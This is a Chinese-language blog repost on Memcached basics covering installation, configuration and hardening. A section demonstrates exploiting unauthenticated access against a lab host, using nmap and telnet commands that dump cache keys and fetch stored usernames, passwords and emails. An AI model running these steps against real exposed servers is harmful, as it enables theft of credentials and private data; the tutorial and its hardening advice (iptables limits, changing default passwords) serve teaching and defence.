针对 Memcached 的攻防基础

2018 年 8 月 27 日 黑白之道


0x01 一些常见的 Nosql 数据库


1、memcached 基于纯内存缓存,也就是说,服务只要一重启所有数据就会丢失,但它操作简单,易于上手,相对高效

2、redis     既可以基于内存缓存亦可基于硬盘持久存储,另外,它所支持的数据类型相对较多,功能也较完善

3、MongDB 

4、...


此次演示环境


1、CentOS6_x86_64 ip: 192.168.3.65

2、OldLnmp        ip: 192.168.3.42

3、Ubuntu16.04.3  ip: 192.168.3.12


0x02 Memcached 缓存实际中简单的应用场景


1、基于纯内存缓存,速度快,同样,也是基于 C客户端 / S服务端 的工作模式,而libevent其实就是一个支持epoll/kqueue异步I/O模型的接口

2、Memcached 在实际生产中主要是用来存放用户经常要访问到的一些高频关键字,加快数据库命中,减轻后端数据库压力,提高数据响应速度...


0x03 安装并启动memcached 服务端,默认它会监听在tcp和udp的11211端口上


1、# rpm -qa libevent libevent-devel nc telnet memcached

2、# yum install libevent libevent-devel nc telnet -y

3、# yum install memcached -y

4、# which memcached


关于 memcached 自身的各类选项具体用途说明


1、-l  指定要监听在哪个ip地址上

2、-m  指定用于缓存数据的最大内存,默认是64M

3、-p  指定memcached服务的端口,默认是11211

4、-d  让memcached在后台运行

5、-u  指定运行该服务的用户,在yum安装时会自动创建一个memcached用户

6、-c  并发连接数,默认是1024

7、-P  指定pid文件位置

8、-M  禁用LRU,默认如果内存空间满了会自动使用LRU算法进行数据清除

9、-vv 显示详细启动信息


单实例及多实例 memcached 服务启动方式,其实很简单,只需要在启动时改下服务端口即可,此处要注意,严禁直接用root身份来运行memcached服务,另外,建议不要用默认端口,可以用个高端口,防止别人扫描


1、# memcached -l 192.168.3.65 -m 32m -p 11211 -d -u memcached -c 8192 -P /tmp/11211.pid 

2、# memcached -l 192.168.3.65 -m 32m -p 11212 -d -u memcached -c 8192 -P /tmp/11212.pid


1、# lsof -i :11211

2、# kill `cat /tmp/11211.pid`  针对memecached的多实例杀进程方式,可直接用对应实例的pid文件杀



0x04 注意,操作memcached是无需任何认证的,也就是说,只要连到对应的服务端口上就可直接对其进行各类数据的增删改查,这也是它最容易出现错误配置的地方




0x05 安装php的 memcache 客户端扩展,因为后续主要还是通过php / python / java此类脚本对memcached进行各种增删改查


1、# wget https://pecl.php.net/get/memcache-2.2.7.tgz

2、# tar xf memcache-2.2.7.tgz

3、# cd memcache-2.2.7

4、# /usr/local/php/bin/phpize 

5、# ./configure --enable-memcache --with-php-config=/usr/local/php/bin/php-config

6、# make && make install

7、# vi /usr/local/php/etc/php.ini

8、extension_dir = "/usr/local/php-5.6.32/lib/php/extensions/no-debug-non-zts-20131226/"

9、extension=memcache.so

10、# pkill php-fpm

11、# /usr/local/php/sbin/php-fpm

12、# /usr/local/nginx/sbin/nginx -t

13、# /usr/local/nginx/sbin/nginx -s reload


0x06 实际生产中的 memcached 预热注意事项


1、起监控 -> 起存储 -> 起web -> 起缓存 -> ...

2、一般都是按照从后端往前端慢慢起,最先起数据库存储,然后再对memcached逐个进行预热,减小后端数据库瞬间压力


0x07 memcached 内存管理机制,关于memcached的底层运作细节和性能优化,并非此处重点,就不做详述了,有兴趣大家可以自行去翻阅资料深入研究,当然,直接去读源码无疑是最精准的,前提是得有那个能力 ^_^


1、基于 malloc 的内存管理机制,容易产生内存碎片

2、基于  slab  的内存管理机制


0x08 memcached 简单性能调优


1、提高命中率

2、减少内存浪费[slab]

3、...


0x09 memcached 纯图形化管理小工具memadmin,基于php编写,使用非常简单,直接丢到网站目录中访问即可,个人建议生产中最好不要用容易被人扫目录扫到


1、# wget http://www.junopen.com/memadmin/memadmin-1.0.12.tar.gz

2、# tar xf memadmin-1.0.12.tar.gz

3、# mv memadmin /usr/local/nginx/html/bwapp/bWAPP/

4、# vi /usr/local/nginx/html/bwapp/bWAPP/memadmin/config.php   务必要记得修改默认账号密码

5、$config['user'] = "admin";

6、 $config['passwd'] = "admin";



0x10 配置专用 session 共享服务器,只需要在php.ini中修改下面的选项即可


1、# vi /usr/local/php/etc/php.ini

2、session.save_handler = memcache

3、session.save_path = "tcp://memcached服务器所在的ip:11211"


0x11 关于memcached的一些安全问题,首先,我们还是先来看看仅仅利用memcached我们能干些什么 

  

1、泄露敏感信息,如各类账号密码,配置信息

2、随意对memcached缓存进行增删改查

3、各种RCE exp利用

4、...


0x12 关于memcached未授权访问的简单利用过程,实际渗透中可以用它来搜集一些敏感些信息,如各类账号密码,服务配置等…


# nmap -Pn -sT -p 11211 --script=memcached-info.nse 192.168.3.65



1、# telnet 192.168.3.65 11211

2、stats # 检查Memcached服务状态

3、stats items # 查看各个slab中key的总个数

4、stats slabs # 查看所有的slab信息

5、stats cachedump 1 20 # 查看第一个slab中的前20个key

6、get username # 获取key为username的数据

7、get password # 获取key为password的数据

8、get email # 获取key为email的数据



0x13 利用iptables对memcached限制ip访问,如,只允许192.168.3.42这个ip访问  

  

1、# iptables -F

2、# iptables -P INPUT DROP

3、# iptables -A INPUT -p tcp -s 192.168.3.42 --dport 11211 -j ACCEPT

4、# iptables -A INPUT -p udp -s 192.168.3.42 --dport 11211 -j ACCEPT


0x14 最后,注意多去关注官方发布的各种高危补丁,适时进行修补


后话:


现在估计用的已经比较少了,服务比较简单,利用的方式也很有限,所以这里也就不多啰嗦了,实际渗透过程中注意把搜集到的各类敏感信息相互配合利用,往往效果更佳,祝大家好运 ^_^


文章出处:klion's blog

文章出处:https://klionsec.github.io/2017/07/07/nosql-memcached/

你可能喜欢

Memcached漏洞,DDoS记录高达1.3 Tbps

被人遗忘的Memcached内存注射

登录查看更多
0

相关内容

Memcached 是一套分布式的高速缓存系统,当初是 Danga Interactive 为了LiveJournal 所发展的,但目前被许多软件所使用。这是一套开放源代码软件,以 BSD license 授权释出。
【2020新书】实战R语言4,323页pdf
专知会员服务
98+阅读 · 2020年7月1日
【实用书】Python技术手册,第三版767页pdf
专知会员服务
229+阅读 · 2020年5月21日
专知会员服务
28+阅读 · 2020年5月20日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
【资源】100+本免费数据科学书
专知会员服务
105+阅读 · 2020年3月17日
专知会员服务
35+阅读 · 2019年12月13日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
83+阅读 · 2019年11月25日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
使用 C# 和 Blazor 进行全栈开发
DotNet
6+阅读 · 2019年4月15日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
推荐一些适合小白练手的Python项目
数据挖掘入门与实战
6+阅读 · 2018年5月17日
Python 杠上 Java、C/C++,赢面有几成?
CSDN
6+阅读 · 2018年4月12日
如何运用Python建一个聊天机器人?
七月在线实验室
17+阅读 · 2018年1月23日
Arxiv
19+阅读 · 2019年11月23日
Few-shot Learning: A Survey
Arxiv
362+阅读 · 2019年4月10日
Arxiv
53+阅读 · 2018年12月11日
VIP会员
相关VIP内容
【2020新书】实战R语言4,323页pdf
专知会员服务
98+阅读 · 2020年7月1日
【实用书】Python技术手册,第三版767页pdf
专知会员服务
229+阅读 · 2020年5月21日
专知会员服务
28+阅读 · 2020年5月20日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
【资源】100+本免费数据科学书
专知会员服务
105+阅读 · 2020年3月17日
专知会员服务
35+阅读 · 2019年12月13日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
83+阅读 · 2019年11月25日
相关资讯
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
使用 C# 和 Blazor 进行全栈开发
DotNet
6+阅读 · 2019年4月15日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
推荐一些适合小白练手的Python项目
数据挖掘入门与实战
6+阅读 · 2018年5月17日
Python 杠上 Java、C/C++,赢面有几成?
CSDN
6+阅读 · 2018年4月12日
如何运用Python建一个聊天机器人?
七月在线实验室
17+阅读 · 2018年1月23日
Top
微信扫码咨询专知VIP会员